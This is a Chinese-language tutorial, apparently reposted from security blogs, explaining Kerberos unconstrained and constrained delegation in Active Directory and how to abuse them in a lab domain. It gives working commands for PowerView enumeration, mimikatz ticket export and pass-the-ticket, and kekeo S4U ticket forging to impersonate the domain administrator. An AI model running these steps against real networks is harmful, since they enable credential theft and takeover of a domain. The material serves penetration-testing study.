基於非約束/約束委派的利用


參考文章:https://www.anquanke.com/post/id/92484
參考文章:https://www.cnblogs.com/websecyw/p/12461990.html
參考文章:https://xz.aliyun.com/t/7217#toc-9

什么是域委派

域委派是指:將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動

服務賬號(Service Account),域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來並加入域。例如MSSQL Server在安裝時,會在域內自動注冊服務賬號SqlServiceAccount,這類賬號不能用於交互式登錄。

上圖是經典的應用場景。一個域內普通用戶jack通過Kerberos協議認證到前台WEB服務器后,前台運行WEB服務的服務賬號websvc模擬(Impersonate)用戶jack,以Kerberos協議繼續認證到后台服務器,從而在后台服務器中獲取jack用戶的訪問權限,即域中跳或者多跳的Kerberos認證。

按照圖中紅色字體的數字,具體步驟如下:

1、域內用戶jack以Kerberos方式認證后訪問Web服務器;
2、Web服務以websvc服務賬號運行,websvc向KDC發起jack用戶的票據申請;
3、KDC檢查websvc用戶的委派屬性,如果被設置,則返回jack用戶的可轉發票據TGT;
4、websvc收到jack用戶TGT后,使用該票據向KDC申請訪問文件服務器的服務票據TGS;
5、KDC檢查websvc的委派屬性,如果被設置,且申請的文件服務在允許的列表清單中,則返回一個jack用戶訪問文件服務的授權票據TGS;
6、websvc收到的jack用戶的授權票據TGS后,可訪問文件服務,完成多跳認證。

域委派的幾種類型

第一種是 非約束性委派(Unconstrained Delegation),服務賬號可以獲取某用戶的TGT,從而服務賬號可使用該TGT,模擬用戶訪問任意服務

用戶請求一個非約束委派服務的流程圖:

請求過程如下:

  1. 用戶通過發送KRB_AS_REQ消息請求可轉發 TGT(forwardable TGT,為了方便我們稱為TGT1)
  2. KDC在KRB_AS_REP消息中返回TGT1
  3. 用戶再通過TGT1向KDC請求轉發TGT(forwardedTGT,我們稱為TGT2)
  4. 在KRB_TGS_REP消息中返回轉發TGT2
  5. 用戶使用TGT1向KDC申請訪問Service1的ST(ServiceTicket)
  6. TGS返回給用戶一個ST
  7. 用戶發送KRB_AP_REQ請求至Service1,這個請求中包含了TGT1和ST、TGT2、TGT2的SessionKey
  8. Service1使用用戶的TGT2通過KRB_TGS_REQ發送給KDC,以用戶的名義請求能夠訪問Service2的票據
  9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票據
  10. Service1以用戶的名義向Service2發送KRB_AP_REQ請求
  11. Service2響應步驟10中Service1的請求
  12. Service1響應步驟7中用戶的請求
  13. 在這個過程中的TGT轉發機制,沒有限制Service1對TGT2的使用,也就是說Service1可以通過TGT2來請求任意服務
  14. KDC返回步驟13中請求的票據,15和16即為Service1通過模擬用戶來訪問其他Service

當user訪問service1時,如果service1的服務賬號開啟了unconstrained delegation(非約束委派),則當user訪問service1時會將user的TGT發送給service1並保存在內存中以備下次重用,然后service1 就可以利用這張TGT以user的身份去訪問域內的任何服務(任何服務是指user能訪問的服務)了

由於非約束委派的不安全性,微軟在windows2003中發布了約束委派的功能,如下:

約束委派在Kerberos中User不會直接發送TGT給服務,而是對發送給service1的認證信息做了限制,不允許service1代表User使用這個TGT去訪問其他服務。其中包括一組名為S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos協議擴展。

用戶請求一個約束委派的服務流程圖如下:

請求過程如下:

  1. 用戶向Service1發送請求。
  2. 這時在官方文檔中的介紹是在這一流程開始之前Service1已經通過KRB_AS_REQ得到了用戶用來訪問Service1的TGT,然后通過S4U2self擴展模擬用戶向KDC請求ST。
  3. KDC這時返回給Service1一個用於用戶驗證Service1的ST(我們稱為ST1),並且Service1用這個ST1完成和用戶的驗證過程。
  4. Service1在步驟3使用模擬用戶申請的ST1完成與用戶的驗證,然后響應用戶。
    注:這個過程中其實Service1是獲得了用戶的TGT和ST1的,但是S4U2Self擴展不允許Service1代表用戶去請求其他的服務。
  5. 用戶再次向Service1發起請求,此時Service1需要以用戶的身份訪問Service2。這里官方文檔提到了兩個點:
    A.Service1已經驗證通過,並且有一個有效的TGT。
    B.Service1有從用戶到Service1的forwardableST(可轉發ST)。個人認為這里的forwardable ST其實也就是ST1。
  6. Service1代表用戶向Service2請求一個用於認證Service2的ST(我們稱為ST2)。用戶在ST1中通過cname(client name)和crealm(client realm)字段標識。
  7. KDC在接收到步驟6中Service1的請求之后,會驗證PAC(特權屬性證書,在第一篇中有說明)的數字簽名。如果驗證成功或者這個請求沒有PAC(不能驗證失敗),KDC將返回ST2給Service1,不過這個ST2中cname和crealm標識的是用戶而不是Service1。
  8. Service1代表用戶使用ST2請求Service2。Service2判斷這個請求來自已經通過KDC驗證的用戶。
  9. Service2響應Service1的請求。
  10. Service1響應用戶的請求。

在這個過程中:

S4U2self可以代表自身請求針對其自身的Kerberos服務票據(ST)

S4U2proxy可以以用戶的名義請求其它服務的ST

同時注意forwardable字段,有forwardable標記為可轉發的是能夠通過S4U2Proxy擴展協議進行轉發的,如果沒有標記則不能進行轉發。

最后的結果:在約束委派中服務賬號只能獲取某用戶的ST(也就是TGS),所以只能模擬用戶訪問特定的服務,是無法獲取用戶的TGT,如果我們能獲取到開啟了約束委派的服務用戶的明文密碼或者NTLM Hash,我們就可以偽造S4U請求,進而偽裝成服務用戶以任意賬戶的權限申請訪問某服務的ST

如何設置約束委派的服務賬戶

在Windows系統中,普通用戶的屬性中沒有委派(Delegation)這個選項卡,只有服務賬號、主機賬號才有,也就是當前用戶賬戶下存在相對應的服務,比如mssql,http等等服務

在域中只有服務賬戶才能有委派功能,所以先把用戶yuyonghu01設置為服務賬號。

setspn -U -A https/golden yuyonghu01

setspn -l xxxxx

如何找出被設置過委派屬性的服務賬戶

首先:將用戶yuyonghu01設置為 信任此用戶作為其他任何服務的委派

查詢非約束委派主要是通過搜索userAccountControl屬性包含ADS_UF_TRUSTED_FOR_DELEGATION的主機或賬戶

非約束委派的查詢:

通過Import-Module PowerView.ps1加載PowerView腳本之后使用下面的命令進行查詢。

查詢域中配置非約束委派的賬戶:
Get-NetUser -Unconstrained -Domain rootkit.org

查詢域中配置非約束委派的主機:
Get-NetComputer -Unconstrained -Domain rootkit.org

查詢約束委派則通過搜索userAccountControl屬性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主機或用戶

約束委派的查詢:

查詢域中配置約束委派的賬戶:
Get-DomainUser -TrustedToAuth -Domain rootkit.org

查詢域中配置約束委派的主機:
Get-DomainComputer -TrustedToAuth -Domain rootkit.org

如何進行利用:

非約束性委派的設置:

域控模擬訪問被設置了約束委派的機器:

Enter-PSSession -ComputerName WIN-3QCUJHVRSQN

約束委派機器中導出TGT票據(需要高權限,這里自己用的是本地管理員權限):

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

導入TGT票據進行訪問對應擁有權限可以訪問的服務,這里我用的是域控進行訪問的,直接可以訪問域控

mimikatz "kerberos::ptt [0;4ccc26]-2-0-60a00000-Administrator@krbtgt-PENTEST.GOD.kirbi" exit

dir \\WIN-CKT0M35R6UO.pentest.God\c$

約束委派的設置:

約束委派的利用:

1、首先調用powerview模塊進行約束委派的查詢

get-DomainUser -TrustedToAuth -Domain pentest.God

2、利用kekeo向KDC請求TGS服務票據

申請TGT:
tgt::ask /user:yuyonghu01 /domain:pentest.god /password:pass!@#QWE /ticket:yuyonghu01.kirbi

偽造任意權限S4U請求,申請TGS服務票據:
Tgs::s4u /tgt:TGT_yuyonghu01@PENTEST.GOD_krbtgt~pentest.god@PENTEST.GOD.kirbi /user:administrator@pentest.God /service:cifs/WIN-CKT0M35R6UO.pentest.god

3、導入TGS服務票據,訪問對應的服務

mimikatz "kerberos::ptt TGS_administrator@pentest.God@PENTEST.GOD_cifs~WIN-CKT0M35R6UO.pentest.god@PENTEST.GOD.kirbi" exit

關於約束委派的防御方法:

1、高權限用戶沒有在特殊要求之下設置為不可委派,比如administrator

總結

攻擊路線:

1、判斷已有的賬號是否是非約束委派賬戶
2、獲取非約束委派賬戶憑證,利用 Kerberoasting 攻擊獲取服務賬號密碼

1、判斷已有的賬號是否是約束委派賬戶
2、獲取約束委派賬戶憑證,利用 Kerberoasting 攻擊獲取服務賬號密碼

Print Spooler服務+非約束委派提升至域控權限,參考文章:https://adsecurity.org/?p=4056
NTLM Relay和約束委派結合進行權限提升,參考文章:https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM